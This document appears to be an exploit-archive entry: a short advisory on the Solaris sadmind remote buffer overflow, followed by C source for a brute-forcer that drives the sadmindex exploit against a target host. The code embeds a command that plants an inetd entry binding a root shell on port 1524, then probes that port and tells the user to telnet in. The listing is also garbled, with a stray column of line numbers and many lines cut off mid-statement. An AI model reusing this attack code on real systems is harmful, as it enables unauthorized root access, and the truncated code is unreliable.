1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254 | // source: https://www.securityfocus.com/bid/866/info
Certain versions of Solaris ship with a version of sadmind which is vulnerable to a remotely exploitable buffer overflow attack. sadmind is the daemon used by Solstice AdminSuite applications to perform distributed system administration operations such as adding users. The sadmind daemon is started automatically by the inetd daemon whenever a request to invoke an operation is received.
Under vulnerable versions of sadmind (2.6 and 7.0 have been tested), if a long buffer is passed to a NETMGT_PROC_SERVICE request (called via clnt_call()), it is possible to overwrite the stack pointer and execute arbitrary code. The actual buffer in questions appears to hold the client's domain name. The overflow in sadmind takes place in the get_auth() function, part of the /usr/snadm/lib/libmagt.so.2 library. Because sadmind runs as root any code launched as a result will run as with root privileges, therefore resulting in a root compromise.
// *** Synnergy Networks
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
/* *** ATTENTION *** you may have to change some
of these *** ATTENTION *** */
#define EXPX86 "sadmindex-x86" /*
sadmind exploit for x86 arch */
#define EXPSPARC "sadmindex-sparc" /*
sadmind exploit for sparc arch */
#define INC 4 /* sp brute forcing
incrementation - 4 should be ok
/* DON'T change the following */
#define FALSE 0 /* false */
#define TRUE !FALSE /* true */
#define BINDINGRES "echo 'ingreslock stream
tcp nowait root /bin/sh sh -i'
> /tmp/.x;
/usr/sbin/inetd -s /tmp/.x;
m -f
/tmp/.x;" /* bind rootshell */
#define SPX8626 0x080418ec /* default
sadmindex sp for x86 2.6 */
#define SPX867 0x08041798 /* default
sadmindex sp for x86 7.0 */
#define SPSPARC26 0xefff9580 /* default
sadmindex sp for sparc 2.6 */
#define SPSPARC7 0xefff9418 /* default
sadmindex sp for sparc 7.0 */
#define EXPCMDX8626 "./%s -h %s -c \"%s\" -s
0x%x -j 512\n" /* cmd line */
#define EXPCMDX867 "./%s -h %s -c \"%s\" -s
0x%x -j 536\n" /* cmd line */
#define EXPCMDSPARC "./%s -h %s -c \"%s\" -s
0x%x\n" /* cmd line */
int
main(int argc, char **argv)
{
int i, sockfd, fd, size = 4096, sign = -1;
long int addr;
char *buffer = (char *) malloc (size);
struct hostent *he;
struct sockaddr_in their_addr;
if (argc < 3)
{
fprintf(stderr, "\nsadmindex sp
brute forcer - by elux\n");
fprintf(stderr, "usage: %s [arch]
<host>\n\n", argv[0]);
fprintf(stderr, "\tarch:\n");
fprintf(stderr, "\t1 - x86 Solaris
2.6\n");
fprintf(stderr, "\t2 - x86 Solaris
7.0\n");
fprintf(stderr, "\t3 - SPARC
Solaris 2.6\n");
fprintf(stderr, "\t4 - SPARC
Solaris 7.0\n\n");
exit(TRUE);
}
if ( (he = gethostbyname(argv[2])) ==
NULL)
{
printf("Unable to resolve %s\n",
argv[2]);
exit(TRUE);
}
their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(1524);
their_addr.sin_addr = *((struct in_addr
*)he->h_addr);
bzero(&(their_addr.sin_zero), 8);
if ( (strcmp(argv[1], "1")) == 0)
{
addr = SPX8626;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{
fprintf(stderr, "\n\nNow telnet to %s,
close(sockfd);
exit(FALSE);
}
}
if ( (fd = open(EXPX86,
O_RDONLY)) != -1)
{
sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDX8626, EXPX86, arg
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}
}
else if ( (strcmp(argv[1], "2")) == 0)
{
addr = SPX867;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{
fprintf(stderr, "\n\nNow telnet to %s,
close(sockfd);
exit(FALSE);
}
}
if ( (fd = open(EXPX86,
O_RDONLY)) != -1)
{
sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDX867, EXPX86, argv
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}
}
else if ( (strcmp(argv[1], "3")) == 0)
{
addr = SPSPARC26;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{
fprintf(stderr, "\n\nNow telnet to %s,
close(sockfd);
exit(FALSE);
}
}
if ( (fd = open(EXPSPARC,
O_RDONLY)) != -1)
{
sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDSPARC, EXPSPARC, a
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}
}
else if ( (strcmp(argv[1], "4")) == 0)
{
addr = SPSPARC7;
printf("\nAlright... sit back and
relax while this program brut
for (i = 0; i <= 4096; i += INC)
{
if ( (sockfd =
socket(AF_INET, SOCK_STREAM, 0)) != -1)
{
if (
(connect(sockfd, (struct sockaddr *)&their
{
fprintf(stderr, "\n\nNow telnet to %s,
close(sockfd);
exit(FALSE);
}
}
if ( (fd = open(EXPSPARC,
O_RDONLY)) != -1)
{
sign *= -1;
addr -= i *sign;
snprintf(buffer,
size, EXPCMDSPARC, EXPSPARC, a
system(buffer);
}
else
{
printf("\n\n%s
doesn't exisit, you need the sad
exit(TRUE);
}
}
}
else
printf("%s is not a supported
arch, try 1 - 4 ... .. .\n", argv
}
// EOF
|